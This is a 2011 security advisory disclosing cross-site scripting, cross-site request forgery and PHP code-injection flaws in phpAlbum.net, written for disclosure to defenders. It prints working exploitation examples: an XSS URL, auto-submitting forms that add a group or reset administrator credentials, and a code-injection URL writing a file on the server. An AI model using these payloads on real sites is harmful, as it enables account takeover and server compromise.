Total Tests:

Multiple Vulnerabilities in phpAlbum.net

Advisory ID:HTB22922
Product:phpAlbum.net
Vendor:Patrik Jakab
Vulnerable Versions:0.4.1-14_fix06 and probably prior
Tested Version:0.4.1-14_fix06
Advisory Publication:March 31, 2011 [without technical details]
Vendor Notification:March 31, 2011
Public Disclosure:April 14, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
OS Command Injection [CWE-78]
Risk Level:Critical
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpAlbum.net which could be exploited to perform cross-site scripting and cross-site request forgery attacks and compromise vulnerable system.

1) Cross-site scripting (XSS) vulnerability in phpAlbum.net
The vulnerability exists due to input sanitation error in the "var3" parameter in setup.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cook ie)</script>

2) Cross-site request forgery (CSRF) vulnerabilities in phpAlbum.net
2.1 The vulnerability exists due to insufficient validation of the request origin in setup.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new groups. Due to insufficient sanitation of input data in the "p_new_group_name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="groups">
<input type="hidden" name="var2" value="add">
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>
</form>
<script>
docu ment.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in main.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="p_username_f" value="test">
<input type="hidden" name="p_password_f" value="">
<input type="hidden" name="p_retype_password_f" value="">
<input type="hidden" name="p_email_f" value="email@example.com">
<input type="hidden" name="p_homepage_f" value="http://www.example.com">
<input type="hidden" name="p_group1" value="guest">
<input type="hidden" name="p_group2" value="superuser">
<input type="hidden" name="p_userid_f" value="USERID">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="user">
<input type="hidden" name="var3" value="USERID">
<input type="hidden" name="var2" value="update">
</form>
<script>
document.main.submit();
</script>


3) PHP command execution in phpAlbum.net
The vulnerability exists due to insufficient sanitation of the input data in the "var3" parameter in phpdatabase.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary PHP code on the target system with privileges of the web server.
Exploitation example:
http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx', 'xxxx')

How to Detect Cross-Site Scripting Vulnerabilities
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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22922 - https://www.immuniweb.com/advisory/HTB22922 - Multiple Vulnerabilities in phpAlbum.net
[2] phpAlbum.net - phpalbum.net - phpAlbum.net is an Open Source PHP script which allows you to create your personal Photo Album / Gallery in just a seconds.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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